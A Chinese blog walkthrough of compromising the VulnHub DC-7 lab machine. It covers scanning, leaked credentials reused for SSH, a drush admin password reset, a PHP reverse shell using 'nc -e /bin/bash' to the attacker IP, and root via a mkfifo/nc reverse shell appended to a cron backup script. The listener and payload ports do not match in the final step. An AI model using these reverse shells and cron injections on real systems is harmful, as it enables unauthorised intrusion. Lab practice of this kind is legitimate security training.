靶机环境搭建
攻击渗透机: kali IP地址:192.168.33.128
靶机:DC-7 IP地址未知
靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/
渗透过程
1.信息收集
1.1 信息收集
arp-scan -l 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)

扫描到目标靶机IP地址为:192.168.33.130
也可以使用nmap扫描整个网段,确认存活主机
nmap -T4 192.168.33.0/24

同样扫描出了目标靶机IP地址为:192.168.33.130,同时还扫描到了目标靶机开放了22端口(ssh服务),80端口(http服务)
1.2 端口扫描
确定了目标靶机IP地址,接下来我们就需要扫描目标端口,确认目标开放了那些端口,那些服务,上面虽然已经扫描出了,但是并不全面
nmap -T4 -sV -A -O -p- 22,80 192.168.33.130
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(后面接要扫描到指定端口)

这样我们就扫描到了有关这两个端口的更详细信息
1.3 访问web网页(80端口)
知道目标开放了80端口,就网页访问一下,看看有无有用信息

是一个欢迎界面,里面给了我们一些提示:暴力破解或者字典攻击,不会成功;方法在盒子外面

通过火狐的Wappalyzer插件,我们探测到目标靶机网业的CMS为Drupal 8

2.漏洞利用
2.1 修改网站admin用户密码
在网页的左下角,有神秘信息

在百度搜索@DC7USER后,发现是一个Twitter用户,进入Twitter后搜索这个用户,进入这个用户首页,发现一个GitHub的链接

点击GitHub的链接发现一个staffdb的源码文件夹,并给了提示这源码是dc7靶机的突破口


源码链接:https://github.com/Dc7User/staffdb
1 打开kali,下载源码
git clone https://github.com/Dc7User/staffdb
下载好后,进行查看

发现一个config.php文件,在这个配置文件里找到了用户名和密码

用户名:dc7user 密码:MdR3xOgB7#dW
2 这里不下载源码也是可以的,直接访问源码寻找可用信息
依次查看源码,最终在config.php文件里面


同样发现了用户名和密码信息,用户名:dc7user 密码:MdR3xOgB7#dW
这用户名和密码难道是靶机的用户名和密码?尝试ssh登录
ssh dc7user@192.168.33.130

成功连接
查看当前目录,发现一个backups文件夹和一个mbox文件
ls

进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
cd backups
ls

打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下
cat mbox

进入到/opt/scripts目录下,查看backups.sh脚本文件,发现两个命令gpg和drush
cd /opt/scripts
cat backups.sh

gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
因为网站默认会有一个admin用户,所以我们进入到/var/www/html目录下,尝试使用drush命令修改admin用户的密码为123456
cd /var/www/html/
drush user-password admin --password="123456"

修改成功
我们已经修改了网站默认admin用户密码为 123456,所以我们现在来到网页后台 http://192.168.33.130/user/login,进行登录
dirb http://192.168.33.130

成功找到了后台登录界面,使用用户名(admin)密码(123456)进行登录

登录成功
2.3 反弹shell
在Content—>Add content–>Basic page



准备添加PHP代码反弹shell时,发现Drupal 8不支持PHP代码,但是Drupal 8为了安全,需要将php单独作为一个模块导入
Php介绍页面如下,模块包下载地址也附上


https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击Extend—>Install new module


将下载模块包的链接添加上,点击Install

Install后跳转到模块添加成功页面,然后去激活这个模块

选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示



然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码

<?php system('nc -e /bin/bash 192.168.33.128 9988')?> #一句话脚本
#这里的IP地址填kali渗透机的IP地址 端口号要选择未被占用的

kali上开启一个端口进行监听
nc -lvp 9988
点击Welcome to DC-7,就可以反弹到shell


3.提权
使用python切换成交互式,这样我们看着更美观,操作也更方便
python -c 'import pty;pty.spawn("/bin/bash")'

查看当前用户可以使用的root权限,发现什么都使用不了

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
写入反弹shell代码到backups.sh脚本文件中,添加计划任务
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.33.128 9966 >/tmp/f" >> backups.sh

并在kali中监听9988端口,之后等待计划任务执行
nc -lvvp 9988

稍微等待后成功getshell,权限为root
得到root权限后,进入root家目录下,发现theflag.txt文件
cd /root
ls
cat theflag.txt

大功告成,拿到了目标靶机的root权限,这个靶机就已经完全被你攻破了
4.总结
最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!
本文详细记录了对vulnhub靶机DC-7的渗透过程,包括信息收集、漏洞利用、提权等步骤。通过端口扫描发现开放的80端口,分析web网页确定CMS为Drupal 8,找到并利用源码中的用户名和密码登录靶机,修改网站admin用户密码,并通过反弹shell获取root权限,最终拿到flag。

354

被折叠的 条评论
为什么被折叠?



